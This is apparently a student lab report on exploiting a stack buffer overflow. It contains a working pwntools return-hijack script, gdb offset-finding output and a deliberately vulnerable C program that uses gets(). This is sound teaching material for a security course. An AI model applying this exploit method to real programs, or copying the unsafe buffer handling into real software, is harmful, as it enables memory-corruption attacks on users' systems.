West Chester University

CSC 472

Dr. Si Chen

Fall 2023 Lab 2

Submitted by

Sean Berlin

10/3/23

1. Introduction: The purpose of this lab was for students to gain experience working with stack buffer overflow vulnerabilities and their exploitation. To be specific, the main focus was the Return Hijack Attack. Students illustrated their own version by constructing a Python program using the pwntools library. The goal of the created exploit, the script for the 'lab2.c' program, was to overwrite the return address, triggering the execution of the 'hacked()' function. The execution of the 'hacked()' function would print the message "hacked by [Your First + Last Name]!". Lastly, students used gdb in order to obtain the address of the 'hacked()' function and to find the correct offset/magic number for the payload.

2. Analysis and Results:

Screenshot of exploit.py

```
root@77f19aa23177:/workdir # cat exploit.py
#!/usr/bin/python

from pwn import *

def main():
    # start a process
    p = process("./lab2")

    # create payload
    # Please put your payload here
    ret_address = 0x08049172
    #ret_address in little indian \x72\x91\x04\x08
    magicNumber = 76
    payload = b'A' * magicNumber + p32(ret_address)


    # print the process id
    raw_input(str(p.proc.pid))

    # send the payload to the binary
    p.send(payload)

    # pass interaction bac to the user
    p.interactive()

if __name__ == "__main__":
    main()
```

Figure 1

Screenshot shows a successful script execution

```
root@77f19aa23177:/workdir # nano exploit.py
root@77f19aa23177:/workdir # python3 exploit.py
[+] Starting local process './lab2': pid 708
708
[*] Switching to interactive mode
$
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr\x91\x04
Hacked by Sean Berlin!!!!
[*] Got EOF while reading in interactive
$
```

Figure 2

Command used to create De Bruijn sequence of length 100

```
gef➤  pattern create 100
[+] Generating a pattern of 100 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
```

Figure 3

Command used to find the address of the ‘eip’ register

```
$eip   : 0x61616174 ("taaa"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd5c0|+0x0000: "uaaavaaawaaaxaaayaaa"       ← $esp
0xffffd5c4|+0x0004: "vaaawaaaxaaayaaa"
0xffffd5c8|+0x0008: "waaaxaaayaaa"
0xffffd5cc|+0x000c: "xaaayaaa"
0xffffd5d0|+0x0010: "yaaa"
0xffffd5d4|+0x0014: 0xffffd600  →  0x178c375b
0xffffd5d8|+0x0018: 0xffffd68c  →  0xffffd7bb  →  "LANGUAGE=en_US:en"
0xffffd5dc|+0x001c: 0xffffd5f0  →  0xf7fa6ff4  →  0x0021dd8c
──────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616174
──────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "lab2", stopped 0x61616174 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  pattern search $eip
[+] Searching for '74616161'/'61616174' with period=4
[+] Found at offset 76 (little-endian search) likely
gef➤  q
```

Figure 4

Screenshot of modified lab2.c

```
root@77f19aa23177:/workdir # cat lab2.c
#include <stdio.h>
#include <string.h>

void hacked()
{
        /* change YOURNAME to your name :) */
        puts("Hacked by Sean Berlin!!!!");
        return 0;
}

void return_input(void)
{
        /* Please set the array size equal to
         the last two digits of your student ID
         e.g. 0861339 --> array size should set to 39 */
        int a = 30;
        char array[48];
        double b = 99;
        gets(array);
        printf("%s\n", array);
        return 0;
}

main()
{
        return_input();
        return 0;
}
```

Figure5

An explanation for the method used to determine the Magic Number:

The method used for determining the Magic Number involved using gdb to run lab2.c. Specifically, the Pattern Generator function was used to generate a De Bruijn sequence of length 100. This was generated by using the "pattern create 100" command, shown in *Figure 3*. Next, the program was run and that sequence was used as the input. This caused the program to have a segmentation fault and show what letters of the sequence caused it. The value was stored in the 'eip' register. The address of the register was then found using the "pattern search $eip" command, shown in *Figure 4*. As shown, the offset or Magic Number was 76. This Magic Number will be part of the payload in the exploit script.

Analysis:

The method to find the Magic Number was described above. Next, the other major part was to find the address of the 'hacked()' function. The address was needed so it could be part of the payload in the exploit script. Specifically, after the 76 characters overflowed the array, the address of the 'hacked()' function ultimately followed. In other words, the return address of the lab2.c program was overwritten with the address of the 'hacked()' function, thus executing the 'hacked()' function instead. If the lab2.c program ran as normal with the proper user input then the 'hacked()' function would never be called. To sum up, the successfull execution of the exploit attack targets a stack buffer overflow vulnerability. The success of the student's exploit script demonstrates their understanding of the following: the nature of stack overflows, the risks associated with stack overflows, and the methodology for exploiting a stack overflow vulnerability.

3. Discussion and Conclusion:

Generated by ChatGPT- Based on the lab's objectives, it can be confidently asserted that the exercise effectively fulfilled its intended purpose. Students embarked on a practical journey into the intricate realm of stack buffer overflow vulnerabilities and their exploitation, with a particular emphasis on the Return Hijack Attack. Through the construction of a Python script using the pwntools library, they skillfully demonstrated their comprehension of the concept. The ultimate goal—to overwrite the return address and invoke the 'hacked()' function, resulting in the display of "hacked by [Your First + Last Name]!"—was accomplished.

In the process, students adeptly employed the Pattern Generator function within GDB to pinpoint the Magic Number, an essential component of the payload. Additionally, they successfully obtained the address of the 'hacked()' function, a critical

step in crafting the exploit script. The actual execution of the script showcased the tangible risks associated with stack overflows and highlighted the students' capability to manipulate program execution.

While the lab predominantly aligned with the expected outcomes, it is worth noting that there were minor differences between theoretical expectations and experimental results.

(Start of self-written) To be specific, by applying a brute force attack on the lab2.c program, it showed an input of 72 characters giving the program an “illegal hardware instruction” and for an input of 73 characters and greater the program crashed with a “segmentation fault”. However, when a payload of 73 characters was used in the exploit script, the program did not crash. Furthermore, only when the payload was exactly 76 characters, Magic Number, was the desired output obtained. A hypothesis for this would be due to the payload in the exploit program containing a memory address in addition to the 76 characters. (**End of self-written).**

These variations can be attributed to the inherent complexities of real-world systems and the dynamic nature of software security. Nevertheless, these discrepancies served as valuable learning opportunities, emphasizing the importance of adaptability and creative problem-solving when addressing security vulnerabilities. In conclusion, this lab provided a practical, hands-on experience that not only reinforced the significance of software security but also empowered students with the essential skills needed to detect and defend against stack buffer overflow attacks.